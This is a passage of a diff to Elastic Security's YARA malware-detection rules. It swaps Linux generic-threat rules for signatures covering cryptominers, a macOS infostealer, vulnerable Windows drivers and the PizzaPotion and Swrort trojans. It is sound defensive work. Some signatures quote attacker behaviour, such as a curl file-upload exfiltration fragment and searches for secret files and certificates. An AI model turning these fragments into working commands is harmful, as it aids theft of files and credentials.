+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L861-L879"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "59a1d8aa677739f2edbb8bd34f566b31f19d729b0a115fef2eac8ab1d1acc383"
+		logic_hash = "d38cc5714721c0b00cfa47cb9828fd76ff57ec8180e5cfe1fec67a092dd87904"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1b6c635dc149780691f292014f3dbc20755d26935b7ae0b3d8f250c10668e28a"
-		severity = 50
+		fingerprint = "7268b94d67f586ded78ad3a52b23a81fd4edb866fedd0ab1e55997f1bbce4c72"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 48 81 EC 10 04 00 00 4C 89 E7 49 8D 8C 24 FF 03 00 00 49 89 E0 48 89 E0 8A 17 84 D2 74 14 80 7F 01 00 88 10 74 05 48 FF C0 EB 07 88 58 01 48 83 C0 02 48 FF C7 48 39 F9 75 DE 4C 39 C0 74 06 C6 }
+		$a = { 61 6C 73 65 20 70 6F 73 69 74 69 76 65 29 1B 5B 30 6D 00 44 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_D2Dca9E7 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_947Dcc5E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "d2dca9e7-6ce6-49b9-92a8-f0149f2deb42"
-		date = "2024-05-20"
+		id = "947dcc5e-be4c-4d31-936f-63d466db2934"
+		date = "2024-04-19"
 		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L923-L941"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9b10bb3773011c4da44bf3a0f05b83079e4ad30f0b1eb2636a6025b927e03c7f"
-		logic_hash = "175b9a80314cf280b995a012f13e65bd4ce7e27faebf02ae5abe978dbd14447c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L881-L899"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7c5a6ac425abe60e8ea5df5dfa8211a7c34a307048b4e677336b735237dcd8fd"
+		logic_hash = "c4aac006561386fbfe0fa0fe3df6b6798d2915a3dbfb5384583ebf9b2f413115"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2a1182f380b07d7ad1f46514200e33ea364711073023ad05f4d82b210e43cfed"
-		severity = 50
+		fingerprint = "f6087a90a9064b505b60a1c53af008b025064f4a823501cae5f00bbe5157d67b"
+		severity = 100
 		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { D0 4D E2 00 50 A0 E1 06 60 8F E0 08 00 00 0A 10 20 90 E5 18 30 90 E5 03 00 52 E1 01 40 D2 34 10 20 80 35 1F 00 00 3A 3B 01 00 EB 00 40 A0 E1 1C 00 00 EA 80 30 9F E5 38 40 80 E2 04 20 A0 E1 03 }
+		$a = { 28 00 00 0A 30 51 9F E5 04 20 94 E5 04 30 A0 E1 38 00 44 E2 00 40 94 E5 00 40 82 E5 04 20 93 E5 04 20 84 E5 0C 20 13 E5 00 30 83 E5 04 00 12 E3 04 30 83 E5 06 00 00 0A 04 10 C2 E3 08 00 12 E3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_1F5D056B : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_B4C2D007 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "1f5d056b-1e9c-47f6-a63c-752f4cf130a1"
-		date = "2024-05-20"
+		id = "b4c2d007-9464-4b72-ae2d-b0f1aeaa6fca"
+		date = "2024-04-19"
 		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L943-L962"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "99d982701b156fe3523b359498c2d03899ea9805d6349416c9702b1067293471"
-		logic_hash = "8ad23b593880dc1bebc95c92d0efc3a90e6b1e143c350e30b1a4258502ce7fc7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L901-L919"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e1e518ba226d30869e404b92bfa810bae27c8b1476766934961e80c44e39c738"
+		logic_hash = "cb52d9233028918210b8bd3959a6649d75b5c6873befff0cf62d9e71dfecc302"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b44a383deaa361db02b342ea52b4f3db9a604bf8b66203fefa5c5d68c361a1d0"
-		severity = 50
+		fingerprint = "364fa077b99cd32d790399fd9f06f99ffef19c37487ef8a4fd81bf36988ecaa6"
+		severity = 100
 		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 30 31 32 33 34 35 36 37 38 }
-		$a2 = { 47 45 54 20 2F 63 6F 6E 66 69 67 20 48 54 54 50 2F 31 2E 30 }
+		$a = { FD 03 00 91 F3 53 01 A9 F4 03 00 AA 20 74 40 F9 60 17 00 B4 20 10 42 79 F3 03 01 AA F9 6B 04 A9 40 17 00 34 62 62 40 39 F5 5B 02 A9 26 10 40 39 F7 63 03 A9 63 12 40 B9 FB 73 05 A9 3B A0 03 91 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_D94E1020 : FILE MEMORY
+rule ELASTIC_Macos_Infostealer_Mdquerysecret_5535Ab96 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Macos Infostealer Mdquerysecret (MacOS.Infostealer.MdQuerySecret)"
 		author = "Elastic Security"
-		id = "d94e1020-ff66-4501-95e1-45ab552b1c18"
-		date = "2024-05-20"
-		modified = "2024-06-12"
+		id = "5535ab96-36aa-42ed-ab85-d8fd7fa6a368"
+		date = "2023-04-11"
+		modified = "2024-08-19"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L964-L982"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "96a2bfbb55250b784e94b1006391cc51e4adecbdde1fe450eab53353186f6ff0"
-		logic_hash = "e4b4e588588080c66076aec02f56b4764a5f72059922db9651461c0287fe0351"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Infostealer_MdQuerySecret.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c755e617b9dd41505bb225ea836ecdde8f3f6f9ab7ae79697e6d85190e206c41"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "c291c07b6225c8ce94f38ad7cb8bb908039abfc43333c6524df776b28c79452a"
-		severity = 50
+		fingerprint = "4fdad65ffdce106e837bbec747e63269f782a9b1ab2cfa9d2db204d252960ab4"
+		severity = 100
 		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a1 = { D0 4D E2 0C C0 9D E5 0C 30 4C E2 02 00 53 E3 14 30 8D E2 00 30 8D E5 10 30 9D E5 0C 10 A0 E1 03 20 A0 E1 01 00 00 8A 0F 00 00 EB 0A 00 00 EA 03 20 A0 E1 0C 10 A0 E1 37 00 90 EF 01 0A 70 E3 00 }
+		$string1 = /kMDItemTextContent\s{1,50}==\s{1,50}\S{1,50}secret/ ascii wide nocase
+		$string2 = /kMDItemDisplayName\s{1,50}==\s{1,50}\S{1,50}secret\S{1,50}/ ascii wide nocase
 
 	condition:
-		all of them
+		any of ($string1,$string2)
 }
-rule ELASTIC_Linux_Generic_Threat_Aa0C23D5 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Eneio_6E01882F : FILE
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Windows Vulndriver Eneio (Windows.VulnDriver.EneIo)"
 		author = "Elastic Security"
-		id = "aa0c23d5-e633-4898-91f8-3cf84c9dd6af"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "6e01882f-8394-4e32-8049-fa9c4588b087"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L984-L1004"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8314290b81b827e1a1d157c41916a41a1c033e4f74876acc6806ed79ebbcc13d"
-		logic_hash = "092f0ece2dfca3e02493c00afffe48ca4feccf56ab6f22d952a7ba5f115f3765"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_EneIo.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347"
+		logic_hash = "144ac5375cb637b6301a2275f2412fbd0d0c5fb23105c7cce5aa7912cf68fa2c"
 		score = 75
-		quality = 69
-		tags = "FILE, MEMORY"
-		fingerprint = "acd33e82bcefde691df1cf2739518018f05e0f03ef2da692f3ccca810c2ef361"
+		quality = 75
+		tags = "FILE"
+		fingerprint = "8077212bfbadc7f47f2eb76f123a6e4bcda12009293cb975bbeaba77f8c9dcd0"
 		severity = 50
-		arch_context = "x86, arm64"
-		scan_context = "file, memory"
+		arch_context = "x86"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F }
-		$a2 = { 77 66 6F 66 60 6C 6E 62 67 6E 6A 6D }
-		$a3 = { 62 67 6E 6A 6D 77 66 6F 66 60 6C 6E }
+		$str1 = "\\Release\\EneIo.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Generic_Threat_8299C877 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Viragt_5F92F226 : FILE
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Name: viragt.sys, Version: 1.80.0.0"
 		author = "Elastic Security"
-		id = "8299c877-a0c3-4673-96c7-58c80062e316"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "5f92f226-053e-4a5b-8a0c-52a578f66cb8"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1006-L1024"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "60c486049ec82b4fa2e0a53293ae6476216b76e2c23238ef1c723ac0a2ae070c"
-		logic_hash = "3e0653a02517faa3037fc5f3f01f6fb11164fecafc6eca457a122ef2d1a99010"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Viragt.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53"
+		logic_hash = "e7ade7aec563c1dc602dfd7fda8c063058f47ae2a915959468792fce389b38f1"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "bae38e2a147dc82ffd66e89214d12c639c690f3d2e701335969f090a21bf0ba7"
+		tags = "FILE"
+		fingerprint = "544d7012478f31e9f9858ddb4463fa705bf8d50a97b5477557bd95e2d3d3b3ac"
+		threat_name = "Windows.VulnDriver.Viragt"
 		severity = 50
-		arch_context = "x86, arm64"
-		scan_context = "file, memory"
+		arch_context = "x86"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { D0 4D E2 0D 10 A0 E1 07 00 A0 E3 1E 00 00 EB 00 00 50 E3 00 00 9D A5 01 0C A0 B3 0C D0 8D E2 04 E0 9D E4 1E FF 2F E1 04 70 2D E5 CA 70 A0 E3 00 00 00 EF 80 00 BD E8 1E FF 2F E1 04 70 2D E5 C9 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 76 00 69 00 72 00 61 00 67 00 74 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x50][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x4f][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Linux_Generic_Threat_81Aa5579 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Viragt_84D508Ad : FILE
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Name: viragt64.sys, Version: 1.0.0.11"
 		author = "Elastic Security"
-		id = "81aa5579-6d94-42a7-9103-de3972dfe141"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "84d508ad-939d-4e3b-b9a6-204eb8bcaee5"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1026-L1044"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6be0e2c98ba5255b76c31f689432a9de83a0d76a898c28dbed0ba11354fec6c2"
-		logic_hash = "c94d590daf61217335a72f3e1bc24b09084cf0a5a174c013c5aa97c01707c2bc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Viragt.yar#L23-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495"
+		logic_hash = "a3e1b41155c7dd347976a1057cb763ab60c50c34e981fef050bd54f060a412fc"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "60492dca0e33e2700c25502292e6ec54609b83c7616a96ae4731f4a1cd9e2f41"
+		tags = "FILE"
+		fingerprint = "172be67b6bb07f189fd5e535e173d245114bf4b17c3daf89924a30c7219d3e69"
+		threat_name = "Windows.VulnDriver.Viragt"
 		severity = 50
-		arch_context = "x86, arm64"
-		scan_context = "file, memory"
+		arch_context = "x86"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { D0 4D E2 07 00 8D E8 03 10 A0 E3 0D 20 A0 E1 08 00 9F E5 84 00 00 EB 0C D0 8D E2 00 80 BD E8 66 00 90 00 01 C0 A0 E1 00 10 A0 E1 08 00 9F E5 02 30 A0 E1 0C 20 A0 E1 7B 00 00 EA 04 00 90 00 01 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 76 00 69 00 72 00 61 00 67 00 74 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x0b][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Linux_Generic_Threat_F2452362 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pizzapotion_D334C613 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Windows Trojan Pizzapotion (Windows.Trojan.PizzaPotion)"
 		author = "Elastic Security"
-		id = "f2452362-dc55-452f-9e93-e6a6b74d8ebd"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "d334c613-2ef2-4627-b482-cc87589d253a"
+		date = "2023-09-13"
+		modified = "2023-09-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1046-L1065"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5ff46c27b5823e55f25c9567d687529a24a0d52dea5bc2423b36345782e6b8f6"
-		logic_hash = "95d51077cb7c0f4b089a2e2ee8fcbab204264ade7ddd64fc1ee0176183dc84e0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PizzaPotion.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "37bee101cf34a84cba49adb67a555c6ebd3b8ac7c25d50247b0a014c82630003"
+		logic_hash = "de7d395c8a993abf9858858e56ba0ec4acbf0fa1c8bfe4a34ae95be2205967fc"
 		score = 75
-		quality = 71
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "cc293c87513ca1332e5ec13c9ce47efbe5e9c48c0cece435ac3c8bdbc822ea82"
-		severity = 50
-		arch_context = "x86, arm64"
+		fingerprint = "4c1ed20b669750f2bc837b184226608e2e8473ac60881fbdd47709e147616889"
+		severity = 100
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 6F 72 69 67 69 6E 61 6C 5F 72 65 61 64 64 69 72 }
-		$a2 = { 45 72 72 6F 72 20 69 6E 20 64 6C 73 79 6D 3A 20 25 73 }
+		$a1 = "%s%sd.sys" ascii fullword
+		$a2 = "curl -v -k -F \"file=@" ascii fullword
+		$a3 = "; type=image/jpeg\" --referer drive.google.com --cookie"
+		$a4 = "%sd.sys -r -inul"
+		$a5 = ".xls d:\\*.xlsx d:\\*.ppt d:\\*.pptx d:\\*.pfx" ascii fullword
+		$a6 = "-x\"*.exe\" -x\"*.dll\" -x\"*.jpg\" -x\"*.jpeg\""
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Generic_Threat_Da28Eb8B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Swrort_5Ad1A4F9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Trojan Swrort (Linux.Trojan.Swrort)"
 		author = "Elastic Security"
-		id = "da28eb8b-7176-4415-9c58-5f74da70f53d"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "5ad1a4f9-bfe5-4e5f-94e9-4983c93a1c1f"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1067-L1086"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b3b4fcd19d71814d3b4899528ee9c3c2188e4a7a4d8ddb88859b1a6868e8433f"
-		logic_hash = "8b0892d0dd8a012a1f9cd87a0ad3321ae751dd17a96205c12e6648946cf2afe2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Swrort.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fa5695c355a6dc1f368a4b36a45e8f18958dacdbe0eac80c618fbec976bac8fe"
+		logic_hash = "3a1fa978e0c8ab0dd4e7965a3f91306d6123c19f21b86d3f8088979bf58c3a07"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "490b6a89ea704a25d0e21dfb9833d56bc26f93c788efb7fcbfe38544696d0dfd"
-		severity = 50
-		arch_context = "x86, arm64"
+		fingerprint = "a91458dd4bcd082506c554ca8479e1b0d23598e0e9a0e44ae1afb2651ce38dce"
+		severity = 100
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 4A 66 67 67 6C 6A 7D 60 66 67 33 29 62 6C 6C 79 24 68 65 60 }
-		$a2 = { 48 6A 6A 6C 79 7D 33 29 7D 6C 71 7D 26 61 7D 64 65 25 68 79 79 65 60 6A 68 7D 60 66 67 26 71 61 7D 64 65 22 71 64 65 25 68 79 79 65 60 6A 68 7D 60 66 67 26 71 64 65 32 78 34 39 27 30 25 60 64 68 6E 6C 26 7E 6C 6B 79 25 23 26 23 32 78 34 39 27 31 }
+		$a = { 53 57 68 B7 E9 38 FF FF D5 53 53 57 68 74 EC 3B E1 FF D5 57 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_A40Aaa96 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Swrort_4Cb5B116 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Trojan Swrort (Linux.Trojan.Swrort)"
 		author = "Elastic Security"
-		id = "a40aaa96-4dcf-45b8-a95e-7ed7f27a31b6"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "4cb5b116-5e90-4e5f-a62f-bfe616cab5db"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1088-L1108"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6f965252141084524f85d94169b13938721bce24cc986bf870473566b7cfd81b"
-		logic_hash = "ab05cbf494b3b78083fd3e71703effed797d803b0203f8a413eb69b746656b1d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Swrort.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "703c16d4fcc6f815f540d50d8408ea00b4cf8060cc5f6f3ba21be047e32758e0"
+		logic_hash = "9404856fc3290f3a8f9bf891fde9a614fc4484719eb3b51ce7ab601a41e0c3a5"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ce2da00db88bba513f910bdb00e1c935d1d972fe20558e2ec8e3c57cdbd5b7be"
-		severity = 50
-		arch_context = "x86, arm64"
+		fingerprint = "cb783f69b4074264a75894dd85459529a172404a6901a1f5753a2f9197bfca58"
+		severity = 100
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 6D 61 69 6E 2E 55 69 6E 74 33 32 6E }
-		$a2 = { 6D 61 69 6E 2E 47 65 74 72 61 6E 64 }
-		$a3 = { 6D 61 69 6E 2E 28 2A 52 4E 47 29 2E 55 69 6E 74 33 32 }
+		$a = { 6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 6A 04 6A 10 89 E1 6A 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_E24558E1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Swrort_22C2D6B6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Trojan Swrort (Linux.Trojan.Swrort)"
 		author = "Elastic Security"
-		id = "e24558e1-1337-4566-8816-9b83cbaccbf6"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "22c2d6b6-d100-4310-87c4-3912a86bdd40"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1110-L1130"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9f483ddd8971cad4b25bb36a5a0cfb95c35a12c7d5cb9124ef0cfd020da63e99"
-		logic_hash = "f1f33c719a4b41968c137ed43aa0591f97b4558d4dd9bd160df519dfbbc49205"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Swrort.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6df073767f48dd79f98e60aa1079f3ab0b89e4f13eedc1af3c2c073e5e235bbc"
+		logic_hash = "f661544d267a55feec786ab3d4fc4f002afa8e2b58833461f56b745ec65acfd4"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "04ca7e3775e3830a3388a4ad83a5e0256992c9f7beb4b59defcfb684d8471122"
-		severity = 50
-		arch_context = "x86, arm64"
+		fingerprint = "d2b16da002cb708cb82f8b96c7d31f15c9afca69e89502b1970758294e91f9a4"
+		severity = 100
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 77 66 6F 66 60 6C 6E 62 67 6E 6A 6D }
-		$a2 = { 62 67 6E 6A 6D 77 66 6F 66 60 6C 6E }
-		$a3 = { 77 62 59 79 43 31 30 37 3A 36 3B 36 3A }
+		$a = { 31 DB F7 E3 53 43 53 6A 02 89 E1 B0 66 CD 80 51 6A 04 54 6A 02 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_Ace836F1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Privateloader_96Ac2734 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
